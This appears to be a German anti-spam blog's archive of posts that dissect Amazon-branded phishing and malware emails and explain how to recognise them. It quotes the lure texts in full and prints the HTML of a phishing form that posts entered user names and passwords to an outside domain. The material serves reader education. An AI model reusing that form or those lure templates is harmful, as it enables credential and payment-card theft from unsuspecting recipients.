Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Schlagwortarchiv „Amazon“

Vorname Nachname Ihre Abrechnung 60600263 vom 26.04.2016

Dienstag, 26. April 2016

Diese Spams sind die Pest des heutigen Tages. Es gibt unglaublich viel davon.

Anstelle von „Vorname Nachname“ stand hier der richtige bürgerliche Name des Empfängers. Den hätte der Spammer zwar auch in das Empfängerfeld schreiben können, aber in der Betreffzeile wirkt es nun einmal alarmierender, und alarmieren will dieser Spammer. Denn er hat frische Schadsoftware anzubieten, die man sich nach einer Überrumpelung installieren soll, indem man einen Mailanhang öffnet.

Von: Rechnungsstelle Amazon AG <ebay (at) ebay (punkt) de>

So so, eBay und Amazon sind neuerdings fusioniert… schade eigentlich, dass die das selbst noch gar nicht gemerkt haben. :mrgreen:

Der Spammer will hier natürlich die Kunden zweier beliebter Websites erreichen und zur Installation von Schadsoftware motivieren – aber die Art, wie er es getan hat, ist so, als würde in einer Absenderadresse als Klarname „etwas bei Volkswagen“ angegeben, und dazu eine Mailadresse in der BMW-Domain. Wenn man so etwas sieht, kann man sofort Zuckungen im Löschfinger bekommen. Es handelt sich ganz sicher um eine Spam von Kriminellen, deren Absender gefälscht ist.

Es gibt genau die gleiche Masche (mit geringfügigen Änderungen, aber ebenfalls mit dem Merkmal der erwähnten Anschrift) auch als angebliche Mail mit dem Absender „Rechtsanwalt GiroPay AG“ und der gefälschten Absenderadresse service (at) giropay (punkt) de und vermutlich in einigen weiteren Geschmacksrichtungen mehr.

Sehr geehrte(r) Vorname Nachname,

leider haben wir festgestellt, dass unsere Zahlungsaufforderung NR606002630 bisher ergebnislos blieb. Heute gewähren wir Ihnen nun letztmalig die Möglichkeit, den nicht gedeckten Betrag der Firma Amazon AG zu begleichen.

Ganz schlimme Zahlungsaufforderung. Sie hat eine Nummer. Denn Nummern sind wichtig. Um was geht es? Steht da nicht. Von wann ist sie? Steht da nicht. Objektiv steht da gar nichts und man soll völlig grundlos Geld bezahlen – wenn man mal von dem kleinen Patzer des Autors absieht, dass man „nicht gedeckte Beträge von Amazon begleichen“ kann. Schön, dass man seinen Beitrag dazu leisten darf, Amazon vor der Insolvenz zu bewahren.

Niemand würde sich so unklar ausdrücken, wenn es um Geld geht.

Nachdem so wenig Konkretes gesagt wurde, hat der Spammer allerdings auch etwas Konkreteres mitzuteilen – auch wenn der Empfänger das schon längst kennt:

Verbindliche Personalien:

Vorname Nachname
Straße Hausnummer
Postleitzahl Wohnort

Tel. Telefonnummer

Hier steht im Original der Name und die korrekte Anschrift des Empfängers nebst seiner korrekten Telefonnummer. Ich habe zurzeit mehrere derartiger Spams von Lesern, die allesamt eine korrekte Anschrift und eine korrekte Telefonnummer enthalten. Wo die Daten herkommen, ist mir zurzeit unklar – aber Spammer sind seit mehreren Jahren darum bemüht, auf allen nur denkbaren Wegen zu möglichst vielen Mailadressen weitere Daten zu erhalten und in großen Datenbanken zusammenzuführen. Meine spontane Vermutung ist, dass diese Daten über trojanische Apps aus Smartphone-Adressbüchern abgegriffen werden. In einem Fall war die angegebene Telefonnummer seit mindestens einem Jahr nicht mehr aktuell (das Mobiltelefon ging verloren). Der Datenbestand, aus dem sich die Spammer bedienen, scheint also mindestens ein Jahr alt zu sein. Allerdings sind auch viele Adressbücher in Smartphones nicht die Aktuellsten. Näheres dazu kann ich aber erst sagen, wenn mir ein paar Fälle bekannt sind, in denen die Quelle der Daten völlig klar ist, weil zum Beispiel eine ganz spezifische, nur in einem Kontext verwendete E-Mail-Adresse vom Spammer verwendet wurde, so dass man der Sache auf die Spur kommen kann.

Wer hierzu weitere Hinweise geben möchte, kann einfach einen Hinweis in den Kommentaren geben, so dass alle Leser etwas davon haben. Ich gehe davon aus, dass Millionen von diesen Spams unterwegs sind – und ich selbst habe „leider“ nur eine nicht-personalisierte mit der gleichen Schadsoftware-Brut. (Wer nach einer solchen Spam zu Recht etwas paranoid geworden ist: Natürlich kann man sich hier einfach einen Namen und eine Mailadresse für den Kommentar ausdenken, eine Registrierung ist nicht erforderlich.)

Das ist ein gutes Beispiel dafür, warum Datenschutz wichtig ist. Eine ansonsten ganz durchschnittliche Schadsoftware-Spam wird ungleich gefährlicher, wenn sie mit solchen Daten personalisiert wurde.

Aufgrund des andauernden Zahlungsverzug sind Sie verpflichtet dabei, die durch unsere Inanspruchnahme entstandene Gebühren von 44,40 Euro zu bezahlen. Bei Fragen oder Unklarheiten erwarten wir eine Kontaktaufnahme innerhalb von drei Werktagen. Um weitete Kosten auszuschließen, bitten wir Sie den ausstehenden Betrag auf unser Konto zu überweisen. Berücksichtigt wurden alle Zahlungseingänge bis zum 25.04.2016.

So so, Kontaktaufnahme in drei Tagen – und eine Kontaktmöglichkeit ist nicht angegeben. Dafür wird es richtig teuer. Wofür, wird nicht gesagt. Sind halt Gebühren. Die entstehen halt. Wisst schon. Wer erschrocken ist und von seiner leichten Panik verdummt etwas Näheres erfahren möchte…

Eine vollständige Kostenaufstellung Nr. 606002630, der Sie alle Positionen entnehmen können, fügen wir bei.

…muss einen Anhang einer E-Mail öffnen, die mit gefälschtem Absender einen falschen Eindruck erwecken will, um rauszukriegen, um was zum hackenden Henker es hier überhaupt geht.

In den mir vorliegenden E-Mails ist dieser Anhang ein ZIP-Archiv, in dem ein ZIP-Archiv liegt, in dem eine ausführbare Datei für Microsoft Windows liegt. In einem Exemplar gibt es keine doppelte Verpackung, sondern nur eine einfache. In keinem Fall handelt es sich um ein Dokument, auch wenn das Piktogramm einen falschen Eindruck vom Charakter der Datei erwecken will.

Es handelt sich völlig klar um Schadsoftware. Diese wird zurzeit von den meisten Antivirus-Programmen nicht als Schadsoftware erkannt. Wer sich auf diesen Schutz verlassen hat, ist verlassen. So genannte Antivirus-Programme funktionieren nämlich nicht. Und wenn man sich wegen dieser Programme sicher fühlt und deshalb glaubt, unüberlegt handeln zu dürfen, sind diese Programme sogar gefährlich und arbeiten der Organisierten Kriminalität zu.

Deshalb ist es wichtig, dass man derartige Spam selbst erkennt und niemals darin herumklickt, sondern sie löscht. (Wer mag, kann natürlich gern zur Polizei gehen und Strafanzeige erstatten, aber über die Ermittlungschancen sollte man sich keine Illusionen machen.) Grundsätzlich sollte niemals ein E-Mail-Anhang geöffnet werden, der nicht vorher explizit und über einen anderen Kanal als E-Mail abgesprochen wurde – und niemand sollte sich vom Absender einer Mail verblenden lassen, denn dieser ist beliebig fälschbar¹.

Wir erwarten die Zahlung bis zum 28.04.2016 auf unser Bankkonto. Falls wir bis zum genannten Termin keine Überweisung einsehen, sehen wir uns gezwungen Ihre Forderung an ein Gericht abzugeben. Alle damit verbundenen Zusatzkosten werden Sie tragen.

Jedes Unternehmen, das auch Geld bekommen möchte, würde an dieser Stelle seine Bankverbindung und den Betrag angeben. Der Spammer will aber nur, dass ein Anhang geöffnet wird.

Sollten Sie den Rechnungsbetrag bereits vorab an uns gezahlt haben, ist dieses Schreiben nur für Ihre Unterlagen bestimmt. Sollten Sie Fragen haben, stehen wir Ihnen gerne zur Verfügung.

Klar, eine E-Mail nur für meine Unterlagen… 😀

Und die Fragen stellt man wo? Ach, Kontaktdaten gibts keine.

Mit freundlichen Grüßen

Rechnungsstelle Silas Krantz

„Freundlich“ wie eine Ohrfeige

Dein Schadsoftware-Spammer mit dem aktuellen Erpressungstrojaner

¹Die ganzen Internet-Unternehmen könnten damit anfangen, ihre Mail digital zu signieren, um dieser Form der Kriminalität (und dem Phishing) nach und nach das Wasser abzugraben. Sie tun dies nicht. Die technische Lösung für die digitale Signatur von E-Mail steht seit 25 Jahren jedem zur Verfügung, der sie nutzen möchte. Sie tun dies trotzdem nicht. Die technische Lösung steht seit über anderthalb Jahrzehnten in freier und kostenlos nutzbarer Form jedem zur Verfügung, der sie nutzen möchte. Sie tun dies trotzdem nicht. Die ganzen Unternehmen, die sich angesichts der gegenwärtigen Kriminalität aus nicht nachvollziehbaren Gründen (ich nenne sie einfach mal in Ermangelung besserer Erklärungen Verantwortungslosigkeit und Arschlochhaftigkeit) weigern, ihre Kunden zu schützen, indem sie den Verfasser und unverfälschten Inhalt ihrer E-Mails überprüfbar sicherstellen, tragen eine erhebliche Mitschuld am Erfolg der gegenwärtigen Internet-Kriminalität, vom Phishing bis zum Erpressungstrojaner.

Danke an die diversen Einsender dieser wirklich gefährlichen Spam! Ein spezieller Dank geht an Hans.

Ihr Amazon-Konto wurde ausgesetzt

Mittwoch, 23. März 2016

Und ich habe doch gar keines… 😉

Von: amazon (punkt) powering (at) msg (punkt) afterbuy (punkt) de
An: gammelfleisch (at) tamagothi (punkt) de

Diese Spam geht an alle möglichen aus dem Internet eingesammelten Adressen, und der Spammer fälscht zwar den Absender, ist aber zu doof dazu, es so zu machen, dass der Absender auch wirklich nach Amazon aussieht. Aber zum Ausgleich…

Hallo von Amazon-Sicherheit,

…sieht die Anrede auch nicht ganz so überzeugend aus. 😀

Hier ist eine wichtige Nachricht von Amazon.de. Bitte lesen Sie diese Nachricht sorgfaeltig durch, da sie Ihr Kundenkonto bei Amazon.de betrifft.

Wir ueberpruefen routinemaessig Kundenkonten. Bei der Pruefung Ihres Kundenkontos erhaertete sich leider unser Verdacht, dass ein Unberechtigter Zugriff auf dieses hatte.

Aus diesem Grund haben wir Ihr Kundenkonto voruebergehend gesperrt. Niemand kann derzeit auf Ihr Kundenkonto zugreifen, Sie eingeschlossen.

Oh, wie bitter! Amazon nimmt jetzt wohl auf seiner Website über eine noch völlig unbekannte Schnittstelle den Besuchern Fingerabdrücke ab, und wenn jemand das richtige Passwort eingibt, aber den falschen Fingerabdruck hat, dann wird einfach der Account gesperrt. Und es gibt nur eine einzige Möglichkeit, was man dagegen tun kann:

Um Ihr Kundenkonto zu entsperren, befestigt auf diesem E-Mail [sic!] sie haben das Formular.

Bitte laden Sie das Formular und geben Sie Ihre Daten.

Man muss den Anhang einer E-Mail öffnen, die von Unbekannten mit gefälschtem Absender und voller falscher Behauptungen in recht fragwürdigem Deutsch versendet wurde. Auch, wenn da diesmal keine Schadsoftware dranhängt¹, sondern nur ein krimineller Versuch, an die Passwörter anderer Leute zu kommen, ist das Öffnen von unverabredeten Anhängen in E-Mails immer eine ganz schlechte Idee.

Übrigens sieht das Formular im angehängten HTML-Dokument – was nach der stümperhaft formulierten Phishing-Spam gar nicht zu erwarten war – recht gut aus:

Screenshot der angehängten Phishing-Seite

Das gesamte Design besteht nicht etwa aus Texten, sondern ist ein großes Bild, das bei einem anonym nutzbaren, kostenlosen Bildupload-Dienst hinterlegt wurde. Natürlich habe ich directupload (punkt) net schon mit einer Mail darauf hingewiesen, dass der Dienst von Spammern missbraucht wird und erwarte deshalb eine baldige Löschung dieses Blendwerkes. Leider ist das nur ein Tropfen auf dem heißen Stein; ein neues Bild ist schnell hochgeladen und ein paar Millionen Spams sind schnell versendet, der Schaden wird schnell seine naiven Opfer auf anderem Wege finden. 🙁

Was auch immer man in diesem angehängten HTML-Dokument eingibt, geht nicht etwa zu Amazon, sondern…

<form method="post"
action="http://www.desentupidoraapolinario.com.br/zmd/404.php">
<input
style="top: -83px; height: 17px; left: -949px; width: 223px;"
id="user" name="user" value="" type="text" required/>
<input style="top: -99px; height: 17px; left: -949px; width: 223px;"
id="pass" name="pass" value="" type="password" required/><input
style="top: -123px; height: 20px; left: -890px; width: 165px;"
id="submit" name="submit" value="" type="submit">
</form>

…wird an eine deutlich weniger Vertrauen erweckende Domain gesendet. Aber das ist ja auch gar keine Überraschung, denn es handelt sich um eine Spam.

Und nein: Es kann nicht dazu kommen, dass eine ähnliche Mail einmal „echt“ ist. Solche E-Mails sind immer Phishing-Versuche. Amazon versendet keine E-Mail mit Anhängen, in denen Formulare liegen, in denen der Empfänger sein Passwort eingeben soll, und übrigens auch keine mit Links auf derartige Formulare. Und genau das Gleiche gilt für jeden anderen Anbieter von Webdiensten. Und natürlich auch für jede Bank. Und einfach nur generell. Die einzigen Menschen, die so etwas machen, sind Kriminelle.

Es ist also gar nicht so schwierig, nicht darauf hereinzufallen.

Selbst, wenn man sich einmal unsicher ist, sollte eine E-Mail niemals ein Grund zu panischem Geklicke werden, denn Kriminelle verstehen sich darauf, Menschen zu überrumpeln. Sie leben schließlich davon, dass ihre fiesen Tricks zumindest manchmal funktionieren. Immer vor dem Klick nachdenken. Und im Zweifelsfall einfach rückfragen.

Sobald Sie dies tun, werden Sie Ihr Konto wieder verwenden, um Produkte auf Amazon Europa zu verkaufen!

Freundliche Muller,
Das Amazon Services Team

Freundliche was? :mrgreen:

Wenn Sie solche E-Mails nicht mehr erhalten mцchten, kцnnen Sie sich hier abmelden.

Ist ja schon ein bisschen peinlich, wenn man dabei den Link vergisst, nicht?

Aber der Kriminelle hat seine eigentliche „Botschaft“ ja rübergebracht, und jetzt ist er mit seinen Gedanken schon wieder bei den Nutten, so dass die Sorgfalt für eher formale, unwichtige Dinge eben nachlässt. Wenn man darauf achtet, kann man derartige Fehler in sehr vielen Spams sehen. Wenn sich der Spammer Mühe geben wollte, könnte er ja gleich arbeiten gehen.

© 2016 Amazon.com Inc. oder Tochtergesellschaften. Alle Rechte vorbehalten. Amazon Services Europe S.а r.l. 5 Rue Plaetis L-2338 Luxembourg, Handelsregisternummer Luxemburg: B-93815, Gesellschaftskapital 37.500 EUR, Gewerbelizenznummer: 100416, USt.-Identifikationsnummer Luxemburg: LU 19647148.

Nein, diese Spam wurde von einer dynamischen IP-Adresse eines Kunden bei einem Telekommunikationsanbieter aus Arizona, USA versendet; mit an Sicherheit grenzender Wahrscheinlichkeit handelt es sich um einen mit Schadsoftware feindselig übernommenen Rechner, der Teil eines Botnetzes ist. Diese Spam hat niemals einen Server von Amazon gesehen.

Einmal ganz davon abgesehen, dass beanspruchtes „geistiges Eigentum“ für eine automatisch erstellte E-Mail ein geistiger Dünnpfiff ist, auf den kaum noch eine Satire möglich ist. Aber das machen leider nicht nur Spammer, sondern auch andere Idioten.

¹Ich weiß, das hier keine Schadsoftware enthalten ist, weil ich mir den Quelltext des angehängten HTML-Dokumentes angeschaut habe. Es gibt keine andere Möglichkeit, das herauszubekommen. Ein Antivirus-Programm versagt regelmäßig, wenn es mit den neuesten Entwicklungen der Kriminellen konfrontiert ist.

Neue Nachricht

Mittwoch, 24. Februar 2016

Oh, im Honigtöpfchen. Mit Qualitätsbetreff. Denn dass eine neue Nachricht angekommen ist, sehe ich ja in der Auflistung meiner E-Mail.

Sehr geehrter kunde Verkäufer,

Und der Absender, der übrigens behauptet, „Amazon“ zu sein, kennt sogar meinen Vornamen und meinen Nachnamen! :mrgreen:

Es sind weitere Informationen erforderlich, damit Ihr „Verkaufen bei Amazon“-Zahlungskonto eröffnet werden kann.

Solange diese Angaben fehlen, können Sie leider nicht bei Amazon verkaufen.
Klicken Sie bitte hier um die Informationen bereitzustellen.

Der Link geht natürlich nicht in die Domain von Amazon, sondern in die weniger Vertrauen erweckende Domain boudewijn (punkt) webplays (punkt) eu. Dort hätte man sicherlich Gelegenheit erhalten, ganz viele Daten auf einer Website einzugeben, die zur Täuschung mit einem Amazon-Logo dekoriert wurde – und sie anschließend mit einem Klick direkt an Gangster aus der Organisierten Kriminalität zu übertragen. Die freuen sich über alles, von Anschrift und Geburtsdatum für den Identitätsmissbrauch bis hin zu Kreditkartendaten für das Einkaufen mit dem Geld anderer Leute. Zum Glück wurde der kriminelle Müll bereits vom Server entfernt.

Diese EMail wird automatisch gesendet – antworten sie nicht.
Dieses Postfach wird nicht überwacht, und sie werden keine antwort bekommen.

Der Absender dieser Spam ist gefälscht.

Hey, Spammer! Wenn ihr mit so einer primitiven Phishing-Nummer durchkommen wollt, müsst ihr die Sprache, in der ihr schreibt, schon etwas besser beherrschen… ach, zu viel Mühe?! Tja, wenn ihr euch Mühe geben würdet, brauchtet ihr ja auch nicht zu spammen…

Jetzt noch günstiger als kostenlos!

Mittwoch, 16. September 2015

Immer wieder hübsch, wenn man normale, legale Werbung im Web kaum noch von der Spam unterscheiden kann:

Screenshot eines Ads: Preisvergleich ist unsere Stärke! Kde Gnome noch günstiger. www punkt guenstiger punkt de | Produkte vergleichen

Screenshot via @benediktg@gnusocial.de

Wer nicht sofort versteht, wie lächerlich diese spamartig geschalteten Ads eines Preisvergleich-Portals sind: Sowohl KDE als auch GNOME sind freie Desktop-Projekte für unixoide Betriebssysteme, die völlig kostenlos bezogen werden können.

Was derartig intelligenzverachtende und spamnahe Werbemethoden über die „Preisvergleiche“ beim Anbieter unter der Domain www (punkt) guenstiger (punkt) de aussagen, überlasse ich der individuellen Urteilsfindung jedes einzelnen Hirnträgers. Kleiner Tipp: Ich halte das für eine Empfehlung, und zwar nicht für eine zur Nutzung. 😉

Nachtrag ohne weitere Worte:amazon-KDE

Amazon Konto Verifikation!

Freitag, 5. Juni 2015

Diese Mail fällt nicht nur wegen ihres doofen Betreffs auf, sondern auch dadurch, dass 461 Mailadressen als Empfänger eingetragen sind, was natürlich den gewünschten Eindruck von „Amazon schreibt mich an, weils ein Problem mit meinem Account gibt“ zerstört. Die tiefere Bedeutung der Header-Zeile BCC muss sich der Spammer noch einmal von einem Achtjährigen erklären lassen.

Der Text ist dann auch genau so doof, wie es diese Mail schon auf dem ersten Blick verspricht:

Hallo lieber Amazon User ,
Sie müssen eine Verifikation Durchführen , weil leider alle Amazon
Daten Verloren Gingen.
Wir bitten sie auf der Angegebenen Webseite ( Siehe Unten ) , Den Link
zu öffnen , und sich dort einzuloggen und ihre daten erneut ein zu
geben.

Der Link zur Verifikation:
http://amzn.co.at/index/?[ID entfernt]

Mit Freundlichen Grüßen,
Ihr Amazon CO Team.

So so, leider sind alle Amazon-Daten verlorengegangen… 😀

Gut, dass darauf niemand reinfallen kann, weil es so krachend dumm ist!

Die verlinkte Website „verzichtet“ auf normales HTML und erzeugt ihre „Inhalte“ aus mit Javascript entschlüsselten, zuvor verschlüsselten Daten. 😯

Das ist natürlich ein bisschen… verdächtig, denn ein Phisher brauchte sich niemals solche Mühe zu geben. Mit an Sicherheit grenzender Wahrscheinlichkeit handelt es sich hier um einen Versuch, dem Besucher Schadsoftware zu installieren. Ich bin gerade viel zu unmotiviert, die vorsätzlich kryptischen Methoden zu analysieren, um nachzuschauen, was genau getan wird und ob es am Ende wenigstens zum Schein noch eine Phishing-Seite gibt und begnüge mich mit der Einsicht, dass dumm formulierte und technisch mies gemachte Phishing-Spams zurzeit manchmal auf perfide ausgearbeitete und wahrscheinlich hochinfektiöse Seiten führen. Oder: Auch den scheinbar dümmsten Spammer darf man nie unterschätzen.

Und deshalb klickt man niemals, niemals, niemals in eine Spam – und erlaubt auch generell nicht jeder dahergelaufenen Website die Ausführung von Javascript-Code im Browser. Ein Browser-Addon wie NoScript ist eine unverzichtbare Sicherheitssoftware, die derartige Angriffe an der Wurzel verhindert, selbst, wenn die Schadsoftware so aktuell sein sollte, dass der Virenscanner keine Chance hätte.

Diese Spam aus dem Beklopptenbrutschrank des Internet ist ein Zustecksel meines Lesers E.T.

Amazon – Nutzerkonto eingeschränkt !

Montag, 19. Januar 2015

Hey, Amazon-Phisher,

Datum: 18.01.2015 -- Hallo xxxxxxxxxx, am 16.01.2015 ist es leider durch einen Fehler im System zu einem internen Ausfall gekommen. Um einem Missbrauch vorzubeugen, hat unser Sicherheitskonzept stichprobenartig Nutzerkonten temporär deaktiviert. Wir bitten Sie Ihre hinterlegten Daten zu bestätigen, um Ihr Nutzerkonto wieder vollständig nutzen zu können. Die Bestätigung können Sie über den unten ausgeführten Link starten. Bitte füllen Sie alle Pflichtfelder vollständig und wahrheitsgemäß aus. Hier geht es zu der Bestätigung: Weiter zur Bestätigung (hier klicken) Wir bitten Sie herzlichst um Ihr vollstes Verständnis. Mit freundlichen Grüßen Ihr Kundenservice-Center -- Wir freuen uns auf Ihren nächsten Besuch! © 1998-2015, Amazon.com, Inc. oder Tochtergesellschaften

ich finde es ja toll, dass du deine Opfer namentlich ansprechen kannst, wenn du ihnen deine Spam ins Postfach machst. Leider wird dein Phishing trotzdem nicht überzeugender, wenn du dir so tolle Begründungen dafür ausdenkst, warum jemand jetzt „Amazon“ ganz viele Dinge nochmal sagen soll, die „Amazon“ schon kennt:

Um einem Missbrauch vorzubeugen, hat unser Sicherheitskonzept stichprobenartig Nutzerkonten temporär deaktiviert.

Der darauf folgende Satzstummel macht deine Aufforderung „klick mal völlig grundlos in eine Mail und gib Daten ein“ auch nicht überzeugender. Vor allem, wenn du keinen direkten Link auf dein „klicki klicki hier“ setzt, sondern den URL-Kürzer von Google nimmst, der dann auf deine tolle Wegwerf-Website in der Domain amzninc (strich) datenabfrage (punkt) com verweist – der man ja nur beim Hinschauen ansieht, dass sie nicht die Domain von Amazon ist. Das ist natürlich besonders peinlich, wenn die richtige Domain…

Screenshot der Phishing-Site

…schon im Logo direkt unter der Adressleiste sichtbar wird, das du natürlich in deine Betrugsseite einbetten musstest. Dieses „Bestätigen Sie bitte Ihr Amazon Konto um die höchstmögliche Stufe an Sicherheit beim Einkaufen genießen zu können“ bekommt dabei zwar realsatirische Züge, aber das scheint dich ja nicht weiter zu stören. Hauptsache, jemand teilt dir seine Kreditkartendaten, seine Postanschrift und sein Geburtsdatum mit. Dass deine angebliche Anmeldung auch mit der (illegalen) Mailadresse a (at) b (punkt) c und dem genialen Passwort „def456def“ klappt, liegt nun einmal daran, dass du nicht Amazon bist. Aber das weiß ja eigentlich auch jeder, der weiß, dass niemand solche Mails zur „Kontobestätigung“ versendet, die dazu auffordern, dass man einfach noch einmal Daten eingibt, die auf der anderen Seite längst bekannt sind.

Grandios übrigens deine „beruhigende“ Angabe…

Screenshot der Bildschirmmaske zum Eingeben der Kreditkartendaten

…dass die Kreditkartendaten mit einer 4096-Bit Verschlüsselung (ja, mit echtem Deppen Leer Zeichen) übertragen werden, ist auch extratoll. Sie ist besonders lustig bei einer völlig unverschlüsselten HTTP-Verbindung. Man könnte beinahe denken, du hättest 4096 Halbe eine gewissen Biermarke reingekippt, um auf diese tolle Idee zu kommen.

Meint jedenfalls dein dich „genießender“
Nachtwächter

Diese Phishing-Spam ist ein Zustecksel meines Lesers M.G.

Aktualisierung Ihrer Zahlungsinformation

Mittwoch, 7. Januar 2015

Das Wichtigste vorab: Diese E-Mail mit dem gefälschten Absender direkt (at) amazon (punkt) de kommt nicht von Amazon. Sie hat niemals einen Server von Amazon gesehen. Sie kommt auch bei Leuten wie mir an, die niemals etwas mit Amazon zu tun hatten und auch – aus Gründen – niemals etwas mit Amazon zu tun haben wollen. Es handelt sich um eine Spam von Kriminellen, mit der Passwörter und Zugangsdaten für das Online-Banking ausgespäht werden sollen. Die Spam ist verdammt gut gemacht und deshalb auch ein bisschen gefährlich. Auf gar keinen Fall tun, was die Spammer wollen!

Bei solchen Betreffzeilen sollten gleich alle Alarmglocken schrillen. Was ist das für ein Deutsch? „Aktualisierung Ihrer Zahlungsinformation“? Was soll das heißen? Wer würde so einen technokratisch und unverständlich anmutenden Rotz in den Betreff seiner gewerblichen E-Mails schreiben, wenn ihm seine Kunden etwas wert sind? So mies macht das ja nicht einmal die Telekom… 😉

Tatsächlich klingt das nur deshalb so unbeholfen, weil die Phisher nicht so etwas wie „Geben sie ihre Bank- und Kreditkartendaten noch einmal ein, obwohl Amazon die schon längst kennt“ in den Betreff reinschreiben wollen. Sonst fiele möglicherweise zu vielen Empfängern auf, dass es sich um Phishing handelt, und dann kämen die Spammer nicht an genug Kreditkartendaten für ihre „Geschäfte“.

Solche Formulierungen sind bereits ein Zeichen dafür, dass die Mail unbesehen gelöscht werden kann. Wer das tut, kann auch nicht mehr vom zugegebenermaßen gelungenen Layout des Sondermülls im Postfach und von der personalisierten Ansprache¹ beeindruckt werden:

Screenshot der HTML-formatierten Phishing-Mail

Nach so viel hübscher Gestaltung jetzt aber zum weniger hübschen Text:

Aktualisierung der Sicherheitsstandards

Äh, was bitte? 😯

Sehr geehrte/r Elias Schwerdtfeger,

Zugegeben, der Name stimmt.

Amazon.de Datenabgleich (Verifizierungsvorgang)

Aha, worum es hier geht, steht nicht im Betreff der Mail, sondern gleich nach der namentlichen Ansprache. Das sieht zwar nicht so gut aus und das würde niemand so machen, aber hey, es ist ja auch eine Spam.

Bitte beachten Sie folgende Hinweise:

Aufgrund sicherheitstechnischen Mängeln bei Online-Anbieter [sic!] sind wir gezwungen, mit unseren Kunden einen Datenabgleich durchzuführen.

So so, „bei Online-Anbieter“… 😀

Wenn der Betreff schon nicht das Phishing verrät, das schlechte Deutsch verrät es in diesem Fall sicher. So gut kann das Layout gar nicht sein, dass so etwas nicht mehr auffällt.

Sollten Sie eine Visa, Master oder AmericanExpress-Card besitzen, bitten wie Sie eine Adress- und Kartenverifizierung durchzuführen um eine Account/Kartensperre zu verhindern.

Und besser noch: Amazon weiß gar nicht, ob und mit welcher Kreditkarte man bezahlt, obwohl Amazon doch in der Vergangenheit irgendwie bezahlt wurde. Aber trotzdem wird eine Sperrung der Kreditkarte angekündigt.

Bitte führen Sie Ihren Datenabgleich baldmöglichst aus. Sollten Sie nicht innerhalb der nächsten 4 Tage Ihren Datenabgleich ausführen, sperrt unser System automatisch Ihren Amazon-Zugang unwiederuflich [sic!].

Tja, „unwiderruflich“ ist ein schwieriges Wort, weil der lange Vokal nicht durch ein Dehnungszeichen gekennzeichnet wird. Wie man eine Rechtschreibkorrektur benutzt, hat der Spammer noch nicht rausgekriegt – aber in der nächsten Phishing-Welle ist das bestimmt besser.

Achtung: Eine Reaktivierung Ihres Amazon.de Kontos ist in diesem Fall nichtmehr möglich!

Und ganz fürchterbar: Wenn man nicht möglichst schnell klicki klicki in eine E-Mail macht, dann gibts keinen Account bei Amazon mehr. Das ist ja bitter. Die naheliegende Frage, warum Amazon nicht auch fünf oder fünfzig Tage warten könnte, wird von diesem Autor krimineller Gebrauchsprosa nicht gestreift und schon gar nicht beantwortet, weil die Behauptung schlechterdings absurd ist.

Zum Sicherheitsverfahren!

Der Link geht nicht etwa in eine Domain von Amazon, sondern zum URL-Kürzer tr (punkt) im – vermutlich findet Amazon die zusätzlichen fünfzig bis achtzig Byte Maillänge für einen richtigen Link in einer HTML-formatierten E-Mail voller Werbe- und Grafikmüll zu viel des Guten und liefert deshalb Daten für seine Kunden-Logins an einen Drittanbieter im Web aus. Danke übrigens an trim: Der Link aus der Spam wurde dort bereits unbrauchbar gemacht. Wenn das nur immer so schnell ginge!

Wo ein Link hinführt, kann man in der Statuszeile seiner Mailsoftware sehen, wenn der Mauszeiger über dem Link steht. Ein Klick ist hierfür nicht nötig. Spätestens bei dieser einfachen Prüfung sollte jedem Menschen klar werden, dass die E-Mail nicht von Amazon kommt und dass die absurden Behauptungen in der E-Mail nur das Blendwerk ganz gewöhnlicher krimineller Phisher sind. Einmal ganz davon abgesehen, dass jedes richtige Internet-Unternehmen angesichts der Phishing-Pest auf derartige Links verzichten würde und seine Kunden stattdessen aufforderte, sich ganz normal auf der Website einzuloggen und dort weiterzumachen.

Einmal ganz davon abgesehen, dass die erneute Eingabe von Daten, die Amazon längst bekannt sind, für Amazon nicht den geringsten Wert hat. Für einen Verbrecher hingegen sehr wohl.

Mit freundlichen Grüßen

Ihr Amazon.de Kundenservice

Mit spammigen Grüßen
Ihr Phisher mit dem guten Layout und dem schlechten Inhalt

Unter dem eigentlichen Text befinden sich noch jede Menge scheinbarer Links auf Amazon-Angebote. Alle Links sind kaputt. Ja, es handelt sich um ungültige, falsch geformte URLs.

¹Woher die Spammer an Namen kommen? Hier weiterlesen.

Verdächtige Zahlung erkannt

Dienstag, 18. November 2014

Wie die Kriminellen mit den ganzen abgegriffenen Daten aus den Datenlecks diverser Unternehmen machen? Zum Beispiel gefährliche, personalisierte Betrugsmaschen. So sieht etwa eine gut gemachte, personalisierte Phishing-Spam aus:

Screenshot der Phishing-Spam

Zugegeben, der Text ohne das Layout wirkt gar nicht mehr so großartig:

Liebe/r Frank xxxxx,

Durch das von uns entwickelte System zur Erkennung von Betrugsversuchen was unter anderem Ihren Standort der Bezahlvorgänge miteinander vergleicht, war es uns nicht möglich diesen Vorgang eindeutig Ihrem Handeln zuzuordnen.

Bei der letzten Überprüfung ihres Accounts sind uns ungewöhnliche Aktivitäten aufgefallen, im Bezug auf ihre hinterlegten Zahlungsmittel und ihr Zahlverhalten.
Bitte bestätigen Sie ihre hinterlegten Informationen, damit sie ihren Account wieder in vollem Umfang nutzen können.

Klicken sie hier um ihre Daten zu bestätigen

Der Link zum „Bestätigen der Daten“ – übrigens wird weder Amazon noch irgendein anderer Internetanbieter jemals seine Kunden dazu auffordern, aus angeblichen Sicherheitsgründen Daten anzugeben, die dort schon längst bekannt sind, es sei denn, es handele sich um Passwörter, Sicherheitsfragen oder dergleichen – geht natürlich nicht zu amazon (punkt) de, sondern nach einem Umweg über einen URL-Kürzer in die Subdomain amazon der Domain de (strich) webapps (strich) online (punkt) net, die gestern erst über einen Whois-Anonymisierer aus dem sonnigen Panama registriert wurde und die vorsätzlich den Eindruck erwecken soll, eine Domain von Amazon zu sein. Alle Daten, die man dort eingibt…

Erste Stufe der Phishing-Site, Eingabe von Mailadresse und Passwort

…wie zum Beispiel eine Kombination aus Mailadresse und Passwort (die bei vielen Menschen zur Anmeldung an diversen Diensten verwendet werden kann, aber auch so die Übernahme des Amazon-Kontos ermöglicht) und…

Zweite Stufe der Phishing-Site, Eingabe der Postanschrift, der Telefonnummer, des Geburtsdatums und der Kreditkartendaten

…die Postanschrift, die Telefonnummer, das Geburtsdatum und die Kreditkartendaten gehen direkt zu Kriminellen, die damit ganz sicher allerlei „Geschäfte“ machen werden.

